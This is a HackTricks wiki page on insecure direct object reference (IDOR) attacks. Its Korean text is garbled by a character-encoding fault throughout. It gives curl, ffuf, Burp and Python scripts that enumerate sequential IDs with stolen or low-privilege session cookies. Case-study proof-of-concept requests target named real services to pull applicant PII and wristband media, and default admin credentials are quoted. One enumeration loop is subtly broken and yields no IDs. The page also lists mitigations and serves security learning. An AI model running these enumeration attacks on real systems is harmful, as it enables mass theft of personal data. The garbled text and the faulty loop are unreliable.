IDOR (Insecure Direct Object Reference)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)๋Š” ์›น ๋˜๋Š” API ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์‚ฌ์šฉ์ž ์ œ์–ด๊ฐ€ ๊ฐ€๋Šฅํ•œ ์‹๋ณ„์ž๋ฅผ ๊ณต๊ฐœํ•˜๊ฑฐ๋‚˜ ์ˆ˜๋ฝํ•˜๊ณ , ๊ทธ ์‹๋ณ„์ž๊ฐ€ ๋‚ด๋ถ€ ๊ฐ์ฒด์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์ง์ ‘ ์‚ฌ์šฉ๋˜๋ฉฐ ํ˜ธ์ถœ์ž๊ฐ€ ํ•ด๋‹น ๊ฐ์ฒด์— ์ ‘๊ทผ/์ˆ˜์ •ํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์„ฑ๊ณต์ ์ธ ์•…์šฉ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•˜๋Š” ๋“ฑ์˜ ์ˆ˜ํ‰์  ๋˜๋Š” ์ˆ˜์ง์  ๊ถŒํ•œ ์ƒ์Šน์„ ํ—ˆ์šฉํ•˜๋ฉฐ, ์ตœ์•…์˜ ๊ฒฝ์šฐ ๊ณ„์ • ํƒˆ์ทจ๋‚˜ ๋Œ€๋Ÿ‰ ๋ฐ์ดํ„ฐ ์œ ์ถœ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


1. ์ž ์žฌ์  IDOR ์‹๋ณ„

  1. ๊ฐ์ฒด๋ฅผ ์ฐธ์กฐํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฐพ์œผ์„ธ์š”:
  • ๊ฒฝ๋กœ: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • ์ฟผ๋ฆฌ: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • ํ—ค๋” / ์ฟ ํ‚ค: X-Client-ID: 4711
  1. ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์—…๋ฐ์ดํŠธํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ์‚ดํŽด๋ณด์„ธ์š” (GET, PUT, PATCH, DELETE).
  2. ์‹๋ณ„์ž๊ฐ€ ์—ฐ์†์ ์ด๊ฑฐ๋‚˜ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ์ง€ ์ฃผ๋ชฉํ•˜์„ธ์š” โ€“ ์˜ˆ๋ฅผ ๋“ค์–ด ID๊ฐ€ 64185742๋ผ๋ฉด 64185741๋„ ์กด์žฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค.
  3. ์ˆจ๊ฒจ์ง„ ๋˜๋Š” ๋Œ€์ฒด ํ๋ฆ„(์˜ˆ: ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์˜ โ€œParadox team membersโ€ ๋งํฌ) ๋“ฑ์„ ํƒ์ƒ‰ํ•˜์—ฌ ์ถ”๊ฐ€ API๊ฐ€ ๋…ธ์ถœ๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  4. ๊ถŒํ•œ์ด ๋‚ฎ์€ ์ธ์ฆ๋œ ์„ธ์…˜์„ ์‚ฌ์šฉํ•˜๊ณ  ID๋งŒ ๋ณ€๊ฒฝํ•˜๋ฉด์„œ ๊ฐ™์€ ํ† ํฐ/์ฟ ํ‚ค๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. ๊ถŒํ•œ ์˜ค๋ฅ˜๊ฐ€ ์—†์œผ๋ฉด ๋ณดํ†ต IDOR์˜ ์ง•ํ›„์ž…๋‹ˆ๋‹ค.

๋น ๋ฅธ ์ˆ˜๋™ ๋ณ€์กฐ (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

์ž๋™ํ™”๋œ ์—ด๊ฑฐ (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ download ID ์—ด๊ฑฐ (ffuf)

์ธ์ฆ๋œ ํŒŒ์ผ ํ˜ธ์ŠคํŒ… ํŒจ๋„์€ ์ข…์ข… ์‚ฌ์šฉ์ž๋ณ„ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๋‹จ์ผ files ํ…Œ์ด๋ธ”์— ์ €์žฅํ•˜๊ณ  /download.php?id=<int> ๊ฐ™์€ ๋‹ค์šด๋กœ๋“œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ID์˜ ์กด์žฌ ์—ฌ๋ถ€๋งŒ ํ™•์ธํ•˜๊ณ (ํ•ด๋‹น ID๊ฐ€ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์†ํ•˜๋Š”์ง€ ์—ฌ๋ถ€๋Š” ํ™•์ธํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ), ์œ ํšจํ•œ session cookie๋กœ ์ •์ˆ˜ ๊ณต๊ฐ„์„ ์Šค์œ•ํ•˜์—ฌ ๋‹ค๋ฅธ ํ…Œ๋„ŒํŠธ์˜ backups/configs๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr์€ 404-style ํ…œํ”Œ๋ฆฟ์„ ์ œ๊ฑฐํ•˜์—ฌ ์‹ค์ œ ํžˆํŠธ๋งŒ ๋‚จ๊น๋‹ˆ๋‹ค (e.g., IDs 54/150 leaking full site backups and signing material).
  • ๋™์ผํ•œ FFUF ์›Œํฌํ”Œ๋กœ์šฐ๋Š” Burp Intruder๋‚˜ curl ๋ฃจํ”„์—์„œ๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹คโ€”๋‹จ, ID๋ฅผ ์ฆ๊ฐ€์‹œํ‚ค๋Š” ๋™์•ˆ ์ธ์ฆ ์ƒํƒœ๋ฅผ ์œ ์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Error-response oracle for user/file enumeration

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • ์กด์žฌํ•˜์ง€ ์•Š๋Š” username โ†’ โ€œUser not foundโ€
  • ์ž˜๋ชป๋œ filename์ด์ง€๋งŒ ์œ ํšจํ•œ extension โ†’ โ€œFile does not existโ€ (๋•Œ๋กœ๋Š” ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ์„ ๋‚˜์—ดํ•˜๊ธฐ๋„ ํ•จ)
  • ์ž˜๋ชป๋œ extension โ†’ validation error

With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the โ€œuser not foundโ€ string to discover valid users:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ํ™•์ธํ•œ ํ›„์—๋Š” ํŠน์ • ํŒŒ์ผ์„ ์ง์ ‘ ์š”์ฒญํ•˜์„ธ์š”(์˜ˆ: /view.php?username=amanda&file=privacy.odt). ์ด๋Ÿฌํ•œ ํŒจํ„ด์€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ฌธ์„œ๊ฐ€ ๋ฌด๋‹จ์œผ๋กœ ๊ณต๊ฐœ๋˜๊ฑฐ๋‚˜ ์ž๊ฒฉ ์ฆ๋ช… ๋ˆ„์ถœ๋กœ ์ด์–ด์ง€๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.


2. ์‹ค์ œ ์‚ฌ๋ก€ ์—ฐ๊ตฌ โ€“ McHire Chatbot Platform (2025)

Paradox.ai ๊ธฐ๋ฐ˜์˜ McHire ์ฑ„์šฉ ํฌํ„ธ์„ ํ‰๊ฐ€ํ•˜๋Š” ๋™์•ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์€ IDOR๊ฐ€ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} โ€“ 8์ž๋ฆฌ, ์ˆœ์ฐจ์ ์ธ ์ˆซ์ž ์‹๋ณ„์ž

lead_id๋ฅผ ๊ฐ์†Œ์‹œํ‚ค๋ฉด ํ…Œ์Šคํ„ฐ๋Š” ์ž„์˜ ์ง€์›์ž์˜ full PII(name, e-mail, phone, address, shift preferences)์™€ session hijacking์„ ํ—ˆ์šฉํ•˜๋Š” consumer JWT๋ฅผ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค. 1 โ€“ 64,185,742 ๋ฒ”์œ„๋ฅผ ์—ด๊ฑฐํ•œ ๊ฒฐ๊ณผ ๋Œ€๋žต 64 million ๊ฑด์˜ ๋ ˆ์ฝ”๋“œ๊ฐ€ ๋…ธ์ถœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

์‚ฌ๋ก€ ์—ฐ๊ตฌ โ€“ ์†๋ชฉ๋ฐด๋“œ QR ์ฝ”๋“œ: weak bearer tokens (2025โ€“2026)

ํ๋ฆ„: Exhibition visitors received QR-coded wristbands; scanning https://homeofcarlsberg.com/memories/ let the browser take the ํ”„๋ฆฐํŠธ๋œ ์†๋ชฉ๋ฐด๋“œ ID, hex-encode it, and call a cloudfunctions.net backend to fetch stored media (photos/videos + names). There was no session binding or user authenticationโ€”ID๋ฅผ ์•„๋Š” ๊ฒƒ = ๊ถŒํ•œ ๋ถ€์—ฌ.

์˜ˆ์ธก ๊ฐ€๋Šฅ์„ฑ: Wristband IDs followed a short pattern such as C-285-100 โ†’ ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). The space was estimated at ~26M combinations, trivial to exhaust online.

Burp Intruder๋ฅผ ์‚ฌ์šฉํ•œ Exploitation ์›Œํฌํ”Œ๋กœ์šฐ:

  1. Payload generation: ํ›„๋ณด ID๋ฅผ ์ƒ์„ฑ(์˜ˆ: [A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule โ†’ Add prefix/suffix โ†’ payload encoding: ASCII hex so each request transmits the hex string expected by the backend.
  2. Response grep: Intruder์˜ grep-match๋ฅผ ์œ ํšจํ•œ ์‘๋‹ต์—๋งŒ ์กด์žฌํ•˜๋Š” ๋งˆ์ปค(์˜ˆ: media URLs/JSON fields)์— ๋Œ€ํ•ด ์„ค์ •ํ•˜์„ธ์š”. Invalid IDs typically returned an empty array/404.
  3. Throughput measurement: ๋žฉํƒ‘์—์„œ ์•ฝ 2์‹œ๊ฐ„ ๋™์•ˆ ~1,000,000๊ฐœ์˜ ID๋ฅผ ํ…Œ์ŠคํŠธํ–ˆ์œผ๋ฉฐ(์•ฝ 139 req/s), ์ด ์†๋„๋กœ๋Š” ์ „์ฒด ํ‚ค์ŠคํŽ˜์ด์Šค(~26M)๋ฅผ ์•ฝ 52์‹œ๊ฐ„ ๋งŒ์— ๋ชจ๋‘ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ƒ˜ํ”Œ ์‹คํ–‰๋งŒ์œผ๋กœ๋„ ์ด๋ฏธ ์•ฝ 500๊ฐœ์˜ ์œ ํšจํ•œ ์†๋ชฉ๋ฐด๋“œ(๋™์˜์ƒ + ์ „์ฒด ์ด๋ฆ„)๊ฐ€ ๋…ธ์ถœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  4. Rate-limiting verification: ๊ณต๊ธ‰์—…์ฒด๊ฐ€ ์“ฐ๋กœํ‹€๋ง์„ ์ฃผ์žฅํ•œ ํ›„ ๋™์ผํ•œ Intruder ์„ค์ •์„ ๋‹ค์‹œ ์‹คํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋™์ผํ•œ ์ฒ˜๋ฆฌ๋Ÿ‰/ํžˆํŠธ์œจ์ด ํ™•์ธ๋˜์–ด ํ•ด๋‹น ์ œ์–ด๊ฐ€ ์—†์—ˆ๊ฑฐ๋‚˜ ํšจ๊ณผ๊ฐ€ ์—†์Œ์„ ์ฆ๋ช…ํ–ˆ๊ณ , enumeration์€ ์ œ์•ฝ ์—†์ด ๊ณ„์†๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธํ˜• ๋ณ€ํ˜•(ํด๋ผ์ด์–ธํŠธ ์ธก 16์ง„์ˆ˜ ์ธ์ฝ”๋”ฉ):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

๊ตํ›ˆ: ์ธ์ฝ”๋”ฉ (ASCIIโ†’hex/Base64)์€ ์—”ํŠธ๋กœํ”ผ๋ฅผ ์ถ”๊ฐ€ํ•˜์ง€ ์•Š๋Š”๋‹ค; ์งง์€ ID๋Š” ๊ฒ‰๋ณด๊ธฐ ์ธ์ฝ”๋”ฉ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋‚˜์—ด ๊ฐ€๋Šฅํ•œ bearer tokens๊ฐ€ ๋œ๋‹ค. ์‚ฌ์šฉ์ž๋ณ„ ์ธ๊ฐ€ + ๊ณ ์—”ํŠธ๋กœํ”ผ ๋น„๋ฐ€๊ฐ’์ด ์—†์œผ๋ฉด, media/PII๋Š” โ€œrate limitingโ€์„ ์ฃผ์žฅํ•˜๋”๋ผ๋„ ๋Œ€๋Ÿ‰ ์ˆ˜์ง‘๋  ์ˆ˜ ์žˆ๋‹ค.


3. IDOR / BOLA์˜ ์˜ํ–ฅ

  • ์ˆ˜ํ‰ ๊ถŒํ•œ ์ƒ์Šน โ€“ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ ์ฝ๊ธฐ/์ˆ˜์ •/์‚ญ์ œ.
  • ์ˆ˜์ง ๊ถŒํ•œ ์ƒ์Šน โ€“ ๋‚ฎ์€ ๊ถŒํ•œ ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€๋ฆฌ์ž ์ „์šฉ ๊ธฐ๋Šฅ ํš๋“.
  • ์‹๋ณ„์ž๊ฐ€ ์—ฐ์†์ ์ด๋ฉด(์˜ˆ: ์ง€์›์ž ID, ์ธ๋ณด์ด์Šค) ๋Œ€๋Ÿ‰ ๋ฐ์ดํ„ฐ ์œ ์ถœ.
  • ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ํ† ํฐ์„ ํ›”์น˜๊ฑฐ๋‚˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์„ค์ •ํ•˜์—ฌ ๊ณ„์ • ํƒˆ์ทจ.

4. ์™„ํ™” ๋ฐฉ์•ˆ ๋ฐ ๋ชจ๋ฒ” ์‚ฌ๋ก€

  1. ๋ชจ๋“  ์š”์ฒญ์— ๋Œ€ํ•ด object-level authorization ์ ์šฉ (user_id == session.user).
  2. ์ž๋™ ์ฆ๊ฐ€ ID ๋Œ€์‹  ๊ฐ„์ ‘์ ์ด๊ณ  ์ถ”์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ์‹๋ณ„์ž(UUIDv4, ULID) ์‚ฌ์šฉ.
  3. ์ธ๊ฐ€ ๊ฒ€์‚ฌ๋ฅผ ๋ฐ˜๋“œ์‹œ server-side์—์„œ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ˆจ๊ฒจ์ง„ ํผ ํ•„๋“œ๋‚˜ UI ์ œ์–ด์— ์˜์กดํ•˜์ง€ ๋ง ๊ฒƒ.
  4. ์ค‘์•™ ๋ฏธ๋“ค์›จ์–ด์—์„œ RBAC / ABAC ๊ฒ€์‚ฌ ๊ตฌํ˜„.
  5. ID ์—ด๊ฑฐ๋ฅผ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•ด rate-limiting & logging ์ถ”๊ฐ€.
  6. ์ƒˆ๋กœ์šด ์—”๋“œํฌ์ธํŠธ๋Š” ๋ชจ๋‘ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ์ˆ˜ํ–‰ (unit, integration, ๋ฐ DAST).

5. ๋„๊ตฌ

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ